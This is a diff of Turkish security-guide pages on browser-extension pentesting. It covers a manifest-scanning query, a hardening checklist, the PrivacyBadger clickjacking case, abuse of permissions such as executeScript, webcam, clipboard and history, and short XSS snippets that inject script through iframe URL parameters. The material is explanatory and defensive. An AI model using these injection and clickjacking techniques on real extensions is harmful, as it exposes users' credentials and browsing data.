Chrome'u açın ve `chrome://extensions/` adresine gidin. Sağ üstte "Geliştirici modu"nu etkinleştirin. "Paketlenmemiş uzantıyı yükle..." seçeneğine tıklayın. Uzantınızın dizinine gidin. Bu, kaynak kodunu indirmez, ancak zaten indirilmiş veya geliştirilmiş bir uzantının kodunu görüntülemek ve değiştirmek için faydalıdır.
|
||||
|
||||
## Chrome uzantı manifest veri seti
|
||||
|
||||
Zayıf tarayıcı uzantılarını tespit etmeye çalışmak için [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) adresini kullanabilir ve manifest dosyalarını potansiyel olarak zayıf işaretler için kontrol edebilirsiniz. Örneğin, 25000'den fazla kullanıcısı olan, `content_scripts` ve `nativeMessaing` iznine sahip uzantıları kontrol etmek için:
|
||||
Zayıf tarayıcı uzantılarını tespit etmeye çalışmak için [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) kullanabilir ve manifest dosyalarını potansiyel olarak zayıf işaretler için kontrol edebilirsiniz. Örneğin, 25000'den fazla kullanıcısı olan, `content_scripts` ve `nativeMessaging` iznine sahip uzantıları kontrol etmek için:
|
||||
```bash
|
||||
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
||||
@ -644,7 +644,7 @@ Tarayıcı Uzantıları **sınırlı bir saldırı yüzeyine** sahip olsalar da,
|
||||
- [ ] **`host_permissions`**'ı mümkün olduğunca **sınırlayın**
|
||||
- [ ] **Güçlü** bir **`content_security_policy`** kullanın
|
||||
- [ ] **`externally_connectable`**'ı mümkün olduğunca **sınırlayın**, eğer gerek yoksa ve mümkünse varsayılan olarak bırakmayın, **`{}`** belirtin
|
||||
- [ ] Eğer burada **XSS veya ele geçirme için zayıf URL** belirtilmişse, bir saldırgan **arka plan betiklerine doğrudan mesaj gönderebilir**. Çok güçlü bir atlatma.
|
||||
- [ ] Eğer burada **XSS veya ele geçirme** için zayıf bir URL belirtilmişse, bir saldırgan **arka plan betiklerine doğrudan mesaj gönderebilir**. Çok güçlü bir atlatma.
|
||||
- [ ] **`web_accessible_resources`**'ı mümkün olduğunca **sınırlayın**, mümkünse boş bırakın.
|
||||
- [ ] Eğer **`web_accessible_resources`** yoksa, [**ClickJacking**](browext-clickjacking.md) için kontrol edin
|
||||
- [ ] Eğer **uzantı** ile **web sayfası** arasında herhangi bir **iletişim** oluyorsa, iletişimde oluşan [**XSS**](browext-xss-example.md) **zayıflıklarını** kontrol edin.
|
||||
@ -654,7 +654,7 @@ Tarayıcı Uzantıları **sınırlı bir saldırı yüzeyine** sahip olsalar da,
|
||||
- [ ] Eğer arka plan betiği **yerel mesajlaşma** aracılığıyla iletişim kuruyorsa, iletişimin güvenli ve temiz olduğundan emin olun
|
||||
- [ ] **Hassas bilgiler** Tarayıcı Uzantısı **kodunun** içinde **saklanmamalıdır**
|
||||
- [ ] **Hassas bilgiler** Tarayıcı Uzantısı **belleğinin** içinde **saklanmamalıdır**
|
||||
- [ ] **Hassas bilgiler** **korumasız dosya sisteminde** **saklanmamalıdır**
|
||||
- [ ] **Hassas bilgiler** **dosya sisteminde korumasız** olarak **saklanmamalıdır**
|
||||
|
||||
## Tarayıcı Uzantısı Riskleri
|
||||
|
||||
@ -665,8 +665,8 @@ Tarayıcı Uzantıları **sınırlı bir saldırı yüzeyine** sahip olsalar da,
|
||||
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
||||
|
||||
- Verilen bir Chrome webstore bağlantısından herhangi bir Chrome uzantısını çeker.
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **görüntüleyici**: uzantının manifestosunun JSON formatında düzenlenmiş bir versiyonunu basitçe görüntüler.
|
||||
- **Parmak İzi Analizi**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) tespiti ve Chrome uzantısı parmak izi oluşturma JavaScript'inin otomatik olarak üretilmesi.
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **görüntüleyici**: uzantının manifestosunun JSON formatında düzenlenmiş bir versiyonunu basitçe gösterir.
|
||||
- **Parmak İzi Analizi**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) tespiti ve Chrome uzantısı parmak izini oluşturmak için otomatik JavaScript üretimi.
|
||||
- **Potansiyel Clickjacking Analizi**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) direktifi ayarlanmış uzantı HTML sayfalarının tespiti. Bu sayfaların amacı doğrultusunda clickjacking'e karşı potansiyel olarak zayıf olabilirler.
|
||||
- **İzin Uyarısı görüntüleyici**: uzantıyı yüklemeye çalışan bir kullanıcıya gösterilecek tüm Chrome izin istem uyarılarının listesini gösterir.
|
||||
- **Tehlikeli Fonksiyon(lar)**: bir saldırgan tarafından potansiyel olarak istismar edilebilecek tehlikeli fonksiyonların yerini gösterir (örneğin, innerHTML, chrome.tabs.executeScript gibi fonksiyonlar).
|
||||
|
||||
@ -11,9 +11,9 @@ ClickJacking'in ne olduğunu bilmiyorsanız kontrol edin:
|
||||
../clickjacking.md
|
||||
{{#endref}}
|
||||
|
||||
Uzantılar, **`manifest.json`** dosyasını içerir ve bu JSON dosyasında `web_accessible_resources` alanı vardır. İşte [Chrome belgelerinde](https://developer.chrome.com/extensions/manifest/web_accessible_resources) bununla ilgili söylenenler:
|
||||
Uzantılar, **`manifest.json`** dosyasını içerir ve bu JSON dosyası `web_accessible_resources` alanına sahiptir. İşte [Chrome belgelerinde](https://developer.chrome.com/extensions/manifest/web_accessible_resources) bununla ilgili söylenenler:
|
||||
|
||||
> Bu kaynaklar, **`chrome-extension://[PACKAGE ID]/[PATH]`** URL'si aracılığıyla bir web sayfasında mevcut olacaktır; bu, **`extension.getURL method`** ile oluşturulabilir. Beyaz listeye alınmış kaynaklar uygun CORS başlıkları ile sunulur, bu nedenle XHR gibi mekanizmalar aracılığıyla erişilebilirler.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
||||
> Bu kaynaklar, **`chrome-extension://[PACKAGE ID]/[PATH]`** URL'si aracılığıyla bir web sayfasında mevcut olacaktır; bu URL, **`extension.getURL method`** ile oluşturulabilir. Beyaz listeye alınmış kaynaklar uygun CORS başlıkları ile sunulur, bu nedenle XHR gibi mekanizmalar aracılığıyla erişilebilirler.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
||||
|
||||
Bir tarayıcı uzantısındaki **`web_accessible_resources`**, yalnızca web üzerinden erişilebilir değildir; aynı zamanda uzantının doğal ayrıcalıklarıyla da çalışır. Bu, aşağıdakileri yapabilme yeteneğine sahip oldukları anlamına gelir:
|
||||
|
||||
@ -32,7 +32,7 @@ PrivacyBadger uzantısında, `skin/` dizininin aşağıdaki şekilde `web_access
|
||||
"icons/*"
|
||||
]
|
||||
```
|
||||
Bu yapılandırma potansiyel bir güvenlik sorununa yol açtı. Özellikle, tarayıcıdaki PrivacyBadger simgesi ile etkileşimde bulunulduğunda render edilen `skin/popup.html` dosyası, bir `iframe` içinde gömülebilir. Bu gömme, kullanıcıları "Bu Web Sitesi için PrivacyBadger'ı Devre Dışı Bırak" butonuna yanlışlıkla tıklamaya kandırmak için sömürülebilir. Böyle bir eylem, PrivacyBadger korumasını devre dışı bırakarak kullanıcının gizliliğini tehlikeye atar ve kullanıcıyı artan izlemeye maruz bırakabilir. Bu istismarın görsel bir gösterimi, [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm) adresinde sağlanan bir ClickJacking video örneğinde görülebilir.
|
||||
Bu yapılandırma, potansiyel bir güvenlik sorununa yol açtı. Özellikle, tarayıcıdaki PrivacyBadger simgesi ile etkileşimde bulunulduğunda render edilen `skin/popup.html` dosyası, bir `iframe` içinde gömülebilir. Bu gömme, kullanıcıları "Bu Web Sitesi için PrivacyBadger'ı Devre Dışı Bırak" butonuna yanlışlıkla tıklamaya kandırmak için sömürülebilir. Böyle bir eylem, PrivacyBadger korumasını devre dışı bırakarak kullanıcının gizliliğini tehlikeye atar ve kullanıcıyı artan izlemeye maruz bırakabilir. Bu istismarın görsel bir gösterimi, [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm) adresinde sağlanan bir ClickJacking video örneğinde görülebilir.
|
||||
|
||||
Bu güvenlik açığını gidermek için basit bir çözüm uygulandı: `/skin/*`'in `web_accessible_resources` listesinden kaldırılması. Bu değişiklik, `skin/` dizininin içeriğinin web erişilebilir kaynaklar aracılığıyla erişilemez veya manipüle edilemez olmasını sağlayarak riski etkili bir şekilde azalttı.
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
|
||||
Önceki manifest, uzantının `storage` iznine ihtiyaç duyduğunu belirtir. Bu, verilerini kalıcı olarak depolamak için [depolama API'sini](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kullanabileceği anlamına gelir. Kullanıcılara belirli bir kontrol seviyesi veren çerezler veya `localStorage` API'lerinin aksine, **uzantı depolaması genellikle yalnızca uzantıyı kaldırarak temizlenebilir**.
|
||||
|
||||
Bir uzantı, **`manifest.json`** dosyasında belirtilen izinleri talep edecektir ve uzantıyı yükledikten sonra, **her zaman tarayıcınızdaki izinlerini kontrol edebilirsiniz**, bu resimde gösterildiği gibi:
|
||||
Bir uzantı, **`manifest.json`** dosyasında belirtilen izinleri talep edecektir ve uzantıyı yükledikten sonra, **her zaman tarayıcınızda izinlerini kontrol edebilirsiniz**, bu resimde gösterildiği gibi:
|
||||
|
||||
<figure><img src="../../images/image (18).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -18,7 +18,7 @@ Bir Chromium Tarayıcı Uzantısının talep edebileceği [**tam izin listesine
|
||||
|
||||
### `host_permissions`
|
||||
|
||||
İsteğe bağlı ancak güçlü bir ayar olan **`host_permissions`**, uzantının [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) ve [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) gibi API'ler aracılığıyla hangi hostlarla etkileşimde bulunabileceğini belirtir.
|
||||
İsteğe bağlı ancak güçlü bir ayar olan **`host_permissions`**, uzantının [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) ve [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) gibi API'ler aracılığıyla hangi ana bilgisayarlarla etkileşimde bulunabileceğini belirtir.
|
||||
|
||||
Aşağıdaki `host_permissions` temelde her web'e izin verir:
|
||||
```json
|
||||
@ -37,13 +37,13 @@ Aşağıdaki `host_permissions` temelde her web'e izin verir:
|
||||
"<all_urls>"
|
||||
]
|
||||
```
|
||||
Bu, tarayıcı uzantısının serbestçe erişebileceği hostlardır. Bunun nedeni, bir tarayıcı uzantısı **`fetch("https://gmail.com/")`** çağrısı yaptığında CORS tarafından kısıtlanmamasıdır.
|
||||
Bu, tarayıcı uzantısının serbestçe erişebileceği ana bilgisayarlardır. Bunun nedeni, bir tarayıcı uzantısı **`fetch("https://gmail.com/")`** çağrısı yaptığında CORS tarafından kısıtlanmamasıdır.
|
||||
|
||||
## `permissions` ve `host_permissions` istismar etme
|
||||
|
||||
### Sekmeler
|
||||
|
||||
Ayrıca, **`host_permissions`** “gelişmiş” [**sekme API'si**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **işlevselliğini de açar.** Uzantının [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) çağrısını yapmasına ve yalnızca **kullanıcının tarayıcı sekmelerinin listesini** almakla kalmayıp aynı zamanda hangi **web sayfasının (adres ve başlık anlamında) yüklü olduğunu öğrenmesine** olanak tanır.
|
||||
Ayrıca, **`host_permissions`** “gelişmiş” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **işlevselliğini de açar.** Uzantının [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) çağrısını yapmasına ve yalnızca **kullanıcının tarayıcı sekmelerinin listesini** almakla kalmayıp aynı zamanda hangi **web sayfasının (adres ve başlık anlamında) yüklü olduğunu öğrenmesine** olanak tanır.
|
||||
|
||||
> [!CAUTION]
|
||||
> Bununla kalmaz, [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **gibi dinleyiciler de çok daha kullanışlı hale gelir.** Bu dinleyiciler, yeni bir sayfa bir sekmeye yüklendiğinde bildirim alır.
|
||||
@ -52,38 +52,38 @@ Ayrıca, **`host_permissions`** “gelişmiş” [**sekme API'si**](https://deve
|
||||
|
||||
İçerik betikleri, uzantı manifestosuna statik olarak yazılmak zorunda değildir. Yeterli **`host_permissions`** verildiğinde, **uzantılar bunları dinamik olarak yükleyebilir** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **veya** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) çağrısını yaparak.
|
||||
|
||||
Her iki API de yalnızca uzantılarda içerik betiği olarak bulunan dosyaları değil, aynı zamanda **rastgele kodu** da çalıştırmaya olanak tanır. İlki, JavaScript kodunu bir dize olarak geçmeye izin verirken, ikincisi, enjekte edilebilirlik açıklarını azaltan bir JavaScript fonksiyonu bekler. Yine de, her iki API de kötüye kullanıldığında büyük zararlara yol açabilir.
|
||||
Her iki API de yalnızca uzantılarda içerik betiği olarak bulunan dosyaları değil, aynı zamanda **rastgele kodu** da çalıştırmaya olanak tanır. İlki, JavaScript kodunu bir dize olarak geçmeye izin verirken, ikincisi, enjeksiyon güvenlik açıklarına daha az eğilimli olan bir JavaScript fonksiyonu bekler. Yine de, her iki API de kötüye kullanıldığında büyük zararlara yol açabilir.
|
||||
|
||||
> [!CAUTION]
|
||||
> Yukarıdaki yeteneklere ek olarak, içerik betikleri örneğin **kimlik bilgilerini** web sayfalarına girildiğinde **yakalayabilir.** Onları kötüye kullanmanın bir başka klasik yolu, her bir web sitesine **reklam enjekte etmektir.** Haber sitelerinin güvenilirliğini kötüye kullanmak için **dolandırıcılık mesajları** eklemek de mümkündür. Son olarak, **banka** web sitelerini **manipüle ederek para transferlerini yönlendirebilirler.**
|
||||
> Yukarıdaki yeteneklere ek olarak, içerik betikleri örneğin **kimlik bilgilerini** web sayfalarına girildiğinde **yakalayabilir.** Onları kötüye kullanmanın bir başka klasik yolu, her bir web sitesine **reklam enjekte etmektir.** Haber sitelerinin güvenilirliğini kötüye kullanmak için **dolandırıcılık mesajları** eklemek de mümkündür. Son olarak, **banka** web sitelerini para transferlerini yönlendirmek için **manipüle edebilirler.**
|
||||
|
||||
### Dolaylı ayrıcalıklar <a href="#implicit-privileges" id="implicit-privileges"></a>
|
||||
|
||||
Bazı uzantı ayrıcalıkları **açıkça beyan edilmek zorunda değildir.** Bir örnek, [sekme API'si](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): temel işlevselliği herhangi bir ayrıcalık olmaksızın erişilebilir. Herhangi bir uzantı, sekmeleri açtığınızda ve kapattığınızda bildirim alabilir, yalnızca bu sekmelerin hangi web siteleriyle ilişkili olduğunu bilmeyecektir.
|
||||
Bazı uzantı ayrıcalıkları **açıkça beyan edilmek zorunda değildir.** Bir örnek, [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): temel işlevselliği herhangi bir ayrıcalık olmaksızın erişilebilir. Herhangi bir uzantı, sekmeleri açtığınızda ve kapattığınızda bildirim alabilir, yalnızca bu sekmelerin hangi web siteleriyle ilişkili olduğunu bilmeyecektir.
|
||||
|
||||
Görünüşte zararsız mı? [tabs.create() API'si](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) biraz daha az zararsızdır. **Yeni bir sekme oluşturmak için kullanılabilir,** bu da [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ile temelde aynıdır ve herhangi bir web sitesi tarafından çağrılabilir. Ancak `window.open()` **açılır pencere engelleyicisine tabi iken, `tabs.create()` değildir.**
|
||||
Görünüşte zararsız mı? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) biraz daha az zararsızdır. Bu, **yeni bir sekme oluşturmak için** kullanılabilir, temelde [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ile aynı işlevi görür ve herhangi bir web sitesi tarafından çağrılabilir. Ancak `window.open()` **açılır pencere engelleyicisine tabi iken, `tabs.create()` değildir.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Bir uzantı istediği zaman herhangi bir sayıda sekme oluşturabilir.
|
||||
|
||||
`tabs.create()` parametrelerine göz attığınızda, yeteneklerinin `window.open()`'un kontrol edebileceğinden çok daha öteye gittiğini de göreceksiniz. Ve Firefox, bu API ile `data:` URI'lerinin kullanılmasına izin vermezken, Chrome'un böyle bir koruması yoktur. **Bu tür URI'lerin üst düzeyde kullanımı,** [**oltalama için kötüye kullanıldığı gerekçesiyle yasaklanmıştır**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
|
||||
Olası `tabs.create()` parametrelerine göz attığınızda, yeteneklerinin `window.open()`'un kontrol edebileceğinden çok daha öteye gittiğini de fark edeceksiniz. Ve Firefox, bu API ile `data:` URI'lerinin kullanılmasına izin vermezken, Chrome'un böyle bir koruması yoktur. **Bu tür URI'lerin üst düzeyde kullanımı,** [**oltalama için kötüye kullanıldığı gerekçesiyle yasaklanmıştır**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
|
||||
|
||||
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) `tabs.create()` ile çok benzer, ancak **mevcut bir sekmeyi değiştirir.** Yani, kötü niyetli bir uzantı örneğin rastgele bir reklam sayfasını sekmelerinizden birine yükleyebilir ve ilgili sekmeyi de etkinleştirebilir.
|
||||
|
||||
### Webcam, konum ve arkadaşları <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
|
||||
### Web kamerası, coğrafi konum ve arkadaşlar <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
|
||||
|
||||
Web sitelerinin özel izinler talep edebileceğini muhtemelen biliyorsunuzdur, örneğin webcam'inize (video konferans araçları) veya coğrafi konumunuza (haritalar) erişmek için. Bu, kötüye kullanma potansiyeli yüksek olan bir özelliktir, bu nedenle kullanıcıların her seferinde bunu hala istediklerini onaylamaları gerekir.
|
||||
Web sitelerinin özel izinler talep edebileceğini muhtemelen biliyorsunuzdur, örneğin web kameranızı (video konferans araçları) veya coğrafi konumunuzu (haritalar) erişmek için. Bu, kötüye kullanma potansiyeli olan özelliklerdir, bu nedenle kullanıcıların her seferinde bunu hala istediklerini onaylamaları gerekir.
|
||||
|
||||
> [!CAUTION]
|
||||
> Tarayıcı uzantıları için durum böyle değil. **Eğer bir tarayıcı uzantısı** [**webcam'inize veya mikrofonunuza erişim istiyorsa**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, yalnızca bir kez izin istemesi gerekir.**
|
||||
> Tarayıcı uzantıları için durum böyle değildir. **Eğer bir tarayıcı uzantısı** [**web kameranıza veya mikrofonunuza erişim istiyorsa**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, yalnızca bir kez izin istemesi gerekir.**
|
||||
|
||||
Tipik olarak, bir uzantı bunu kurulduktan hemen sonra yapar. Bu istem kabul edildiğinde, **webcam erişimi her zaman mümkündür**, kullanıcı bu noktada uzantıyla etkileşimde bulunmasa bile. Evet, bir kullanıcı yalnızca uzantının gerçekten webcam erişimine ihtiyacı varsa bu istemi kabul eder. Ancak bundan sonra, uzantının gizlice hiçbir şey kaydetmemesi için ona güvenmeleri gerekir.
|
||||
Tipik olarak, bir uzantı bunu kurulduktan hemen sonra yapar. Bu istem kabul edildiğinde, **web kamera erişimi her zaman mümkündür**, kullanıcı bu noktada uzantıyla etkileşimde bulunmasa bile. Evet, bir kullanıcı yalnızca uzantının gerçekten web kamera erişimine ihtiyacı varsa bu istemi kabul eder. Ancak bundan sonra, uzantının gizlice hiçbir şey kaydetmemesi için ona güvenmeleri gerekir.
|
||||
|
||||
[**Tam coğrafi konumunuza**](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) veya [panonuzun içeriğine](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) erişim sağlamak için açıkça izin vermek tamamen gereksizdir. **Bir uzantı, manifestosunun** [**izinler bölümüne**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **`geolocation` veya `clipboard` ekler.** Bu erişim ayrıcalıkları, uzantı yüklendiğinde dolaylı olarak verilir. Bu nedenle, bu ayrıcalıklara sahip kötü niyetli veya tehlikeye atılmış bir uzantı, hareket profilinizi oluşturabilir veya kopyalanan şifreler için panonuzu izleyebilir, siz hiçbir şey fark etmeden.
|
||||
[**Tam coğrafi konumunuza**](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) veya [panonuzun içeriğine](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) erişim sağlamak için açıkça izin vermek tamamen gereksizdir. **Bir uzantı, manifestosunun** [**izinler girişine**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **`geolocation` veya `clipboard` ekler.** Bu erişim ayrıcalıkları, uzantı yüklendiğinde dolaylı olarak verilir. Böylece, bu ayrıcalıklara sahip kötü niyetli veya tehlikeye atılmış bir uzantı, hareket profilinizi oluşturabilir veya kopyalanan şifreler için panonuzu izleyebilir, siz hiçbir şey fark etmeden.
|
||||
|
||||
**`history`** anahtar kelimesinin uzantı manifestosunun [izinler bölümüne](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) eklenmesi, **`history API'sine** [**erişim sağlar**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Bu, kullanıcının tüm tarayıcı geçmişini bir seferde almasına olanak tanır, kullanıcının bu web sitelerini tekrar ziyaret etmesini beklemeden.
|
||||
**`history`** anahtar kelimesinin uzantı manifestosunun [izinler girişine](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) eklenmesi, **`history API`**'ye [**erişim sağlar**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Bu, kullanıcının tüm tarayıcı geçmişini bir seferde almasına olanak tanır, kullanıcının bu web sitelerini tekrar ziyaret etmesini beklemeden.
|
||||
|
||||
**`bookmarks`** **izinleri** benzer kötüye kullanma potansiyeline sahiptir, bu, **tüm yer imlerini** [**yer imleri API'si**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) aracılığıyla okumaya olanak tanır.
|
||||
**`bookmarks`** **izinleri** benzer kötüye kullanma potansiyeline sahiptir, bu, **tüm yer imlerini** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) aracılığıyla okumaya olanak tanır.
|
||||
|
||||
### Depolama izni <a href="#the-storage-permission" id="the-storage-permission"></a>
|
||||
|
||||
@ -97,11 +97,11 @@ Bir Chromium Tarayıcı Uzantısının talep edebileceği [**tam izinler listesi
|
||||
|
||||
## Önleme <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
|
||||
|
||||
Google'ın geliştirici politikası, uzantıların işlevselliği için gerekli olandan daha fazla ayrıcalık talep etmesini açıkça yasaklar, bu da aşırı izin taleplerini etkili bir şekilde azaltır. Bir tarayıcı uzantısının bu sınırı aştığı bir örnek, uzantının bir eklenti mağazası yerine tarayıcı ile birlikte dağıtılmasıdır.
|
||||
Google'ın geliştirici politikası, uzantıların işlevselliği için gerekli olandan daha fazla ayrıcalık talep etmesini açıkça yasaklar ve böylece aşırı izin taleplerini etkili bir şekilde azaltır. Bir tarayıcı uzantısının bu sınırı aştığı bir örnek, uzantının bir eklenti mağazası yerine tarayıcı ile birlikte dağıtılmasıdır.
|
||||
|
||||
Tarayıcılar, uzantı ayrıcalıklarının kötüye kullanılmasını daha da sınırlayabilir. Örneğin, ekran kaydı için kullanılan Chrome'un [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) ve [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API'leri, kötüye kullanımı en aza indirmek için tasarlanmıştır. tabCapture API'si yalnızca uzantı simgesine tıklamak gibi doğrudan kullanıcı etkileşimi ile etkinleştirilebilirken, desktopCapture, kaydedilecek pencere için kullanıcı onayı gerektirir ve gizli kayıt faaliyetlerini önler.
|
||||
|
||||
Ancak, güvenlik önlemlerinin sıkılaştırılması genellikle uzantıların esnekliğini ve kullanıcı dostluğunu azaltır. [activeTab izni](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) bu dengeyi göstermektedir. Uzantıların tüm internet üzerinde host ayrıcalıkları talep etme gereğini ortadan kaldırmak için tanıtılmıştır, bu da uzantıların yalnızca kullanıcı tarafından açıkça etkinleştirildiğinde mevcut sekmeye erişmesine olanak tanır. Bu model, kullanıcı tarafından başlatılan eylemler gerektiren uzantılar için etkili olsa da, otomatik veya önleyici eylemler gerektirenler için yetersiz kalır ve bu da kullanım kolaylığını ve anlık yanıt verme yeteneğini tehlikeye atar.
|
||||
Ancak, güvenlik önlemlerinin sıkılaştırılması genellikle uzantıların esnekliğini ve kullanıcı dostluğunu azaltır. [activeTab izni](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) bu dengeyi göstermektedir. Bu, uzantıların tüm internet üzerinde ana bilgisayar ayrıcalıkları talep etme gereğini ortadan kaldırmak için tanıtılmıştır ve uzantıların yalnızca kullanıcı tarafından açıkça etkinleştirildiğinde mevcut sekmeye erişmesine izin verir. Bu model, kullanıcı tarafından başlatılan eylemler gerektiren uzantılar için etkili olsa da, otomatik veya önleyici eylemler gerektirenler için yetersiz kalır ve böylece kullanım kolaylığını ve anında yanıt verme yeteneğini tehlikeye atar.
|
||||
|
||||
## **Referanslar**
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Iframe Üzerinden Cross-Site Scripting (XSS)
|
||||
|
||||
Bu yapılandırmada, bir **içerik scripti** bir Iframe oluşturmak için uygulanır ve Iframe'in kaynağı olarak sorgu parametreleri içeren bir URL kullanılır:
|
||||
Bu yapılandırmada, bir **içerik betiği** bir Iframe oluşturmak için uygulanır ve Iframe'in kaynağı olarak sorgu parametreleri içeren bir URL kullanılır:
|
||||
```javascript
|
||||
chrome.storage.local.get("message", (result) => {
|
||||
let constructedURL =
|
||||
@ -46,7 +46,7 @@ Aşırı izin veren bir İçerik Güvenlik Politikası, örneğin:
|
||||
```
|
||||
JavaScript'in çalıştırılmasına izin verir, bu da sistemi XSS saldırılarına karşı savunmasız hale getirir.
|
||||
|
||||
XSS'i tetiklemek için alternatif bir yaklaşım, bir Iframe öğesi oluşturmak ve kaynağını zararlı scripti `content` parametresi olarak içerecek şekilde ayarlamaktır:
|
||||
XSS'i tetiklemek için alternatif bir yaklaşım, bir Iframe öğesi oluşturmak ve kaynağını `content` parametresi olarak zararlı scripti içerecek şekilde ayarlamaktır:
|
||||
```javascript
|
||||
let newFrame = document.createElement("iframe")
|
||||
newFrame.src =
|
||||
@ -94,7 +94,7 @@ Bu zafiyeti artırmak için, ikincil bir **clickjacking** zafiyeti istismar edil
|
||||
[...]
|
||||
],
|
||||
```
|
||||
Özellikle, **`/html/bookmarks.html`** sayfası çerçevelemeye karşı hassastır, bu nedenle **clickjacking**'e karşı savunmasızdır. Bu zafiyet, sayfayı bir saldırganın sitesinin içinde çerçevelemek için kullanılır ve arayüzü yanıltıcı bir şekilde yeniden tasarlamak için DOM öğeleri ile örtülür. Bu manipülasyon, kurbanların alttaki uzantı ile istemeden etkileşimde bulunmasına yol açar.
|
||||
Özellikle, **`/html/bookmarks.html`** sayfası çerçevelemeye karşı hassastır, bu nedenle **clickjacking**'e karşı savunmasızdır. Bu zafiyet, sayfayı bir saldırganın sitesinin içinde çerçevelemek için kullanılır ve arayüzü yanıltıcı bir şekilde yeniden tasarlamak için DOM öğeleri ile örtülür. Bu manipülasyon, kurbanların alttaki uzantıyla istemeden etkileşimde bulunmasına yol açar.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
@ -16,8 +16,8 @@ Cache zehirleme, istemci tarafı önbelleğini manipüle ederek istemcilerin bek
|
||||
Cache zehirleme saldırısının gerçekleştirilmesi birkaç adım içerir:
|
||||
|
||||
